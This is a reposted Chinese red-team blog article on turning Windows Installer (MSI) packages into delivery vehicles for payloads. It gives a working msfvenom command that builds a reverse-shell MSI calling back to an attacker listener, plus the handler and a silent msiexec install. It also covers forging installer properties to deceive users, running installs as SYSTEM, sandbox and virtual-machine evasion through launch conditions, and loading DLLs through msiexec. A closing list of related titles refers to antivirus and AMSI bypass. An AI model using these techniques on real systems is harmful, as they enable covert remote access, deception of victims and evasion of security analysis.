msi的简单使用
2023-2-15 11:4:3 Author: 红队蓝军(查看原文) 阅读量:14 收藏

前言

Windows Installer 使用安装包,其中包含 Windows Installer 需要安装、卸载或修复产品以及运行安装程序用户界面 (UI) 的信息。每个安装包都包含一个.msi文件,该文件包含安装数据库、摘要信息流和安装的各个部分的数据流。

msf

直接加载msf的msi上线

msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi -o 1.msi
handler -p windows/x64/shell/reverse_tcp -H 0.0.0.0 -P 8888
    
msiexec /q /i 1.msi

vs

下载扩展

搜索创建msi文件即可

利用文件系统和自定义操作选项,可以设置将在目标主机上释放的文件和执行的命令

点击项目输出

打包exe进msi

可以添加图标

创建快捷方式

在扩展中可以对安装包的属性进行设置,部分属性会在msi文件的详细信息中体现,所以可以对属性进行一些伪造欺骗

如果选择True时,在管理员权限下msiexec会使用SYSTEM权限执行安装:

启动条件

点击view->启动条件

可以设置硬件属性中的内存、分辨率来检测是否在虚拟机里启动

比如这里要求物理内存必须大于多少字节才启动安装包

可以通过orca.exe来查看其他软件的启动条件设置,下载链接:https://learn.microsoft.com/en-us/windows/win32/msi/orca-exe

常见的判断条件可参考:https://community.flexera.com/t5/InstallShield-Knowledge-Base/Common-MSI-Conditions/ta-p/3854

在安装时可以使用msiexec /q /i MsiexecSetup.msi /log 123.log方式输出日志文件,通过对比日志文件进行更详细的条件设置

打包exe/二进制文件

MSI安装包中可以添加exe、dll、vbs、js类型二进制文件或脚本。常用操作是通过文件系统管理添加要执行的文件,然后在自定义操作中设置在几个阶段要执行的文件,文件释放位置可以使用系统文件夹属性变量

打包安装

加载dll

导出函数

extern "C" __declspec(dllexport) void DllRegisterServer(HWND hwnd, HINSTANCE hinst)
{
    MessageBoxA(NULL"1""DllRegisterServer", MB_OK);
};

extern "C" __declspec(dllexport) void DllUnRegisterServer(HWND hwnd, HINSTANCE hinst)
{
    MessageBoxA(NULL"2""DllUnRegisterServer", MB_OK);
}

msiexec程序也可以加载DLL执行,前提是DLL文件在磁盘上存在并且是64位的。通过命令行调用DLL中的DllRegisterServerDllUnRegisterServer

# DllUnRegisterServer
msiexec /z C:\windows\tmp\run.dll
# DllRegisterServer
msiexec /y C:\windows\tmp\run.dll
# 执行run.dll文件 DllRegisterServer
msiexec /y .\windows\tmp\run
# 执行 .dll 文件 DllRegisterServer
msiexec /y .\calc.dll

wx

ring3 hookbypass bitdefender

PC

RBCD

syscall

DLLIAT

patchless amsi

windows defender线cs


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247506841&idx=1&sn=2e6f4d40668259d5c67ca036422d0b78&chksm=ce676125f910e833285e3575be9a99a8240fede568674007feaa95c5240eb3b1ecc4a4b13918#rd
如有侵权请联系:admin#unsafe.sh